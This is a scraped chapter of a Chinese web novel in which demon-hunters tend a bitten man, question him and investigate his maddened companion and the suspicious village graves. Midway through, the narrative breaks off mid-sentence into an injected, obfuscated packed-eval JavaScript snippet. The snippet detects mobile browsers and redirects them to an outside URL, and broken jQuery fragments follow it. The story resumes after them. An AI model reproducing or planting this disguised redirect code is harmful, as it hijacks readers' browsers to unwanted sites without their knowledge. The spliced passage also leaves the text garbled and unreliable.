18. 第五章

作品:《山君宴

    幸好宜姜他们来得及时,费子平还没把杭石咬死,杭石被救下来的时候惊魂未定,心里的震惊远远大过身上的疼痛。


    梅询皱皱巴巴一张脸,看着医生处理杭石身上的伤口,被人咬需要注射狂犬疫苗吗?


    想到这,梅询拿起手机搜了搜,跳出来一条“人是杂食动物,被人深度咬伤之后特别容易感染,需要打狂犬疫苗”,看来是要打的,医生也在这时候拿出几支针管。


    梅询看了看那个针管的长度,别开了脸。


    费子平已经被控制起来了,整个人被捆成粽子,嘴里也塞了布团,还在一直挣扎蠕动着。


    宜姜坐在一旁打了个哈欠,现在已经凌晨三点了,她等医生处理完杭石的伤,才开口问:“怎么样?”


    “还好,不是什么致命伤,就是需要静养,不然伤口容易开裂。”


    医生也是个见过大世面的,在姜家任职,比这严重又奇形怪状的伤也见了不少了,相比之下,这个杭石的伤都算不上什么。


    宜姜点点头:“那个费子平你们有看出什么吗?”


    听到这个,医生倒是神色正经起来:“这个倒是没看出什么,感觉像是什么病菌感染,或者是被什么鬼上身了?”


    宜姜摇摇头:“他身上可没有鬼,干净得很。”


    梅询也在一旁补充:“他身上也没有妖,但是气息很浑浊。”


    气息浑浊?


    宜姜转过头看向他,梅询解释:“我们判断有没有妖,是从一个人的气息来看的,我们能够辨别出妖的味道,这个费子平身上,没有妖的味道,但是有其他东西。”


    姜奚从从外面走进来,之前救下杭石之后,几个人就直接回到这房子里了,刚好因为之前姜奚从在门上画过鬼面图腾,也没几个人敢进来住,除了,这位梅询。


    姜奚从不留痕迹地看了梅询一眼,还是凑到宜姜身边,用强硬的声音说道:“桃花,真的该休息了。”


    宜姜摸了摸自己的眉心,又疼起来了,她面色不改地和梅询说:“也不早了,我们先休息吧,明天再继续。”


    梅询愣了几秒,点点头,看着跟着姜奚从要上楼的宜姜,张了张嘴还是闭上了。


    宜姜一进房间,后面的医生就赶紧上来给她做检查。


    姜奚从在包里找了半天找出一瓶药:“桃花,这是带回来的药。”


    医生给宜姜检查了一遍,把姜奚从手里的药拿起来闻了闻,又仔细看了看,开口:“这药太烈了,按照现在桃花小姐的伤势,不需要这样的药。”


    “什么意思?”宜姜轻轻揉了揉眉心问。


    “您现在的伤势已经好很多了,温和一点的药就行,不过还是挺奇怪的,桃花小姐您最近是用了什么别的药吗?”


    “没有,我这段时间除了吃你们给的药,其他没有了。”


    “那就奇怪了。不过,也算是好事,愈合的速度会好一点。”医生把药瓶放下,“明天我再找瓶温和药效的来,接下来就换种药吃。”


    同一时间,一楼梅询的房间,梅询依旧皱着一张脸,他是在晚上遇到宜姜的时候才发现宜姜身上有伤的,也是因为发现了这个,他在田里蹲着的时候才不小心摔着了。


    再加上姜奚从一直在和宜姜说要她可以回去睡觉了,宜姜这次受的伤肯定比他想象的还要严重一点。


    梅询在自己行李里挖了半天,他出门的时候,兰成弘有给过他几个药瓶,说是受严重伤的时候服用。


    但这几瓶东西里,哪个是哪个来着?


    兰成弘在凌晨三点多再次收到了梅询的电话:“你那出事了?”


    “没。就是问问你出门前给我那几个药瓶有什么功效。”


    “现在几点了你看看!那白色的药瓶是用来平和你身上的气息翻滚的,你之前没吃过?上一代妖梅应该有和你说过的吧,你身上的妖可不一定总是平静着。其他就是一些受重伤可以吃的药了。”


    得到了一个奇怪的答案,梅询皱了皱眉头,梅和初没和他提到过,他也从来没有吃过这种平复心情的药。


    “行,我知道了。”梅询把疑问放回了心里。


    被莫名其妙吵醒又被莫名其妙挂断电话之后,兰成弘也睡不着了,他是真担心妖梅就断在这一代。


    但是兰成弘手上的事情还没处理完,妖梅本人又不想被捉妖师其他人跟着,只能他自己亲自上。


    啊啊啊啊啊,都怪当初猜拳猜输了,一切都从去龙山堵妖梅的那个山君拜帖开始,兰成弘气得直砸床。


    不管了,先睡会,有什么事起来再说。


    ******


    第二天一早,梅询就爬起来捣鼓自己的穿搭,但上身试了很多套都还是不满意,最终还是闭眼选择了一套。


    上次见宜姜的遭遇实在过于惨痛,乱七八糟没来得及剪的头发,穿得都要发白的衣服,以及没钱的窘迫感。


    等等,自己现在花的钱是不是还是之前宜姜给转的钱款来着,梅询顿住了,会不会让人觉得自己见钱眼开,想到这,他开始皱起眉头,但宜姜不会觉得就行。


    全弄完之后,梅询在聊天框里字字斟酌地发了一条消息出去:“你起来了吗?”


    对方并没有在输入中。


    梅询算了算时间,就算当时三点多睡了,现在也不足七个小时,宜姜也许还是在休息。


    于是,他出门去昨夜安置杭石和费子平的房间,费子平还是那个样子,杭石却直直地盯着天花板,不知道在想些什么。


    察觉到有人进来,杭石转过头,语气淡漠:“是你啊,梅兄弟。”


    梅询找了个凳子坐下:“你现在怎么样?昨天发生了什么你还记得清楚细节吗?”


    杭石深深地叹了一口气:“我没怎么,昨夜就和我之前说过的一样,子平突然就开始扑过来咬我肩膀,接着他就疯了。”


    说到这,杭石担忧地抬起头:“子平他还能恢复正常吗?”


    梅询摇摇头:“不知道。”


    “你知道吗?我们本来打算做完这一单就收手了,毕竟你也知道,我们这些人都是朝不保夕。这一单刚好酬金很多,足够我们活剩下的一辈子了,结果……”


    梅询垂下眼,不知道该怎么安慰他,只好干巴巴地说了一句:“会好的。”


    杭石强烈地喘着气:“你别安慰我了,我自己知道,这一遭就是翻车了。”


    房间里安静了片刻,梅询突然想到了什么,开口问道:“你们怎么晚上也去挖坟?”


    “有个小女孩说的。”


    “谁?”


    杭石努力回忆着:“一个十几岁的,头发是个双麻花辫,颜色偏棕色,说话的时候会一直盯着你的眼睛看。”


    听描述,有点像是齐明美。


    梅询追问道:“她原话怎么说的?”


    “她说,那几家人可神秘了,下葬都只有村长一个外人在。”


    梅询想了想:“她亲眼看到了?”


    杭石摇摇头:“不知道,她只和我说了这么多。”


    得到了一些线索,梅询低头看了看手机,也没任何消息发过来,于是他打算先出门看看。


    结果才刚走出房间,姜奚从就冒了出来,面无表情地从梅询面前走过去。


    “桃花,她怎么样了?”梅询突然开口拦住了她。


    姜奚从斜着瞥了他一眼,什么话都没说,继续出门了。


    梅询在原地略带疑惑地“啊”了一下,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470810|201469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么鬼啊,姜家人的坏脾气果然和传闻中的一样,当然,宜姜除外。


    不过,姜奚从都下来了,那宜姜应该也快醒了,还是在楼下等等吧,梅询很愉快地做出了这个决定。


    宜姜醒过来看时间的时候第一眼就看到了一大堆消息,一个一个回复之后,最后只剩下了梅询发的。


    她没着急回,只是先起来把药吃了。


    等宜姜下楼的时候,楼下没人,她也像梅询一样走进了杭石休息的房间。


    “你身体怎么样?”


    杭石艰难地再次抬头,见到是昨夜救了他的姜家人,努力扯出一个笑脸说:“姜小姐,我还好。只是,费子平他还有救吗?”


    宜姜根本不能给出确定的回答,杭石看见宜姜的表情也就知道了答案。


    “你再想想,你们在坟堆发生了什么事情,当时我们的距离还是比较远的,加上晚上太暗了,也看不清什么东西。”


    杭石皱着眉头思考着,好一会儿之后突然瞪大了眼睛,他激动了起来:“当时!当时子平不小心碰了那个尸体一下,他还和我说好恶心。”


    那个已经看不出样子的尸体?


    杭石继续说:“姜小姐,那些尸体上不规则的缺口也许就是我现在身上这些伤,那个村长在骗人!”


    宜姜低头把事情串了串,现在的源头追溯到了那几具尸体,突然,她想到了什么,抬起头给姜奚从打了个电话。


    “昨天晚上,你带来的人去挖坟了没有?”


    姜奚从低声问了问旁边的人,这些都是她从分部带来的,问到之后她回答:“还没有,昨天晚上都在折腾桃花您需要的药。”


    没有就好,没有就好,宜姜放下了心:“那几个坟堆,先别挖了,过段时间再说。”


    挂了电话之后,宜姜又去看了看被五花大绑的费子平,他的脸上已经出现一道又一道黑纹了,随着他的不断扭动越加狰狞。


    宜姜掐住费子平的脸,费力地扒拉开他的眼睛,还是正常的瞳孔,她又仔细检查了一遍,费子平身上还是和昨夜姜家人检查时候一样,没什么特别的。


    那就很让人困惑了,这个能控制费子平行为的东西,难不成在他脑子里?


    宜姜松开手,再度坐回去,杭石大气不敢喘,生怕打扰到自己的救命恩人思考。


    “你们是从哪知道的这个任务?”


    是一个和之前梅询问过的一模一样的问题,杭石也用同样的话回答了,最后加上了一句“梅小哥也觉得这个地方有点奇怪”。


    梅询?


    宜姜这个时候才发觉梅询居然不在这,她追问:“梅询什么时候来的?”


    “一个多小时前?”杭石看了看墙上的时钟,“刚刚在您进来没多久前,我抬头还能看到他在大厅坐着呢。”


    宜姜用手机给梅询回了一句“我下来了,在杭石房间”。


    对方沉默。


    也许梅询有事情去忙了,宜姜并没有很担心,妖梅在捉妖师一脉里算是特别的一支了,再怎么样也有傍身的本事在。


    想是这样想,但久久没等到梅询消息的回复,宜姜还是忍不住敲了敲他的房间门,里面似乎没人。


    宜姜翻了窗户进去看,房间里的确没人,只有个大箱子,里面放着一袋一袋装好的衣服,浴室的台子上还放着一些日常用品,其他并没有什么特殊的地方。


    起码人不是被绑架的……吧?


    宜姜皱着眉头,一脸疑惑地翻了出去,再次来到了杭石这:“之前梅询和你聊天说了些什么?”


    杭石很困惑:“没了,姜小姐,我和梅询讲的都是我给您讲过的东西,其他并没有什么。”


    那就奇怪了,这人是上哪去了?